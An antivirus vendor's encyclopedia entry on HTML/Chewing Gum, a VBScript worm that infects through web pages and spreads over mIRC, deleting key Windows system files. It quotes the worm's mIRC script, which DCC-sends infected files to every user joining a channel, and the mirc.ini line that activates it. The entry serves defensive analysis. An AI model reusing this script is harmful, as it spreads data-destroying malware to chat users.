Threat Encyclopedia

Selected viruses, spyware, and other threats: sorted alphabetically

HTML/Chewing Gum

Aliases: mIRC/Chewing Gum

This is a virus and a worm for the program mIRC which serves for communication by means of IRC (Internet Relay Chat). This infiltration is programmed in Visual Basic Script and it is inserted into a HTML page.
There are two ways of infection. The first one is viewing the page containing the code with the virus. The second one is viewing a HTML file which the virus/worm sends to everyone registered on the same IRC channel as the infected user. Immediately after activation the virus deletes important system files c:\windows\system.dat, c:\autoexec.bat and c:\config.sys. Further on it creates file c:\mirc\gum.mrc and writes the following text into it (the text represents script for mIRC):

ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }
/dcc send $nick c:\mirc\download\gum.html
/dcc send $nick c:\mirc\download\gum.bmp
}

This code sends the file with virus to IRC users who are registered to the same channel on which the infected user is. In this way the virus can spread only among computers with installed IRC client mICR. The virus activates mICR script by adding the text line "n3=c:\mirc\gum.mrc" into the file c:\mirc\mirc.ini.
Another way of the virus presentation is that it substitutes the standard Windows logo by the following picture:

In the virus body the following texts are in the form of notes:

Thanks Knowdeth for letting me use this, from VBS/mIRC/pIRCH.WelcomB.a :-)
Chewing Gum is written by Gigabyte..enjoy

© 1992-2004 Eset s.r.o. All rights reserved. No part of this Encyclopedia may be reproduced, transmitted or used in any other way in any form or by any means without the prior permission.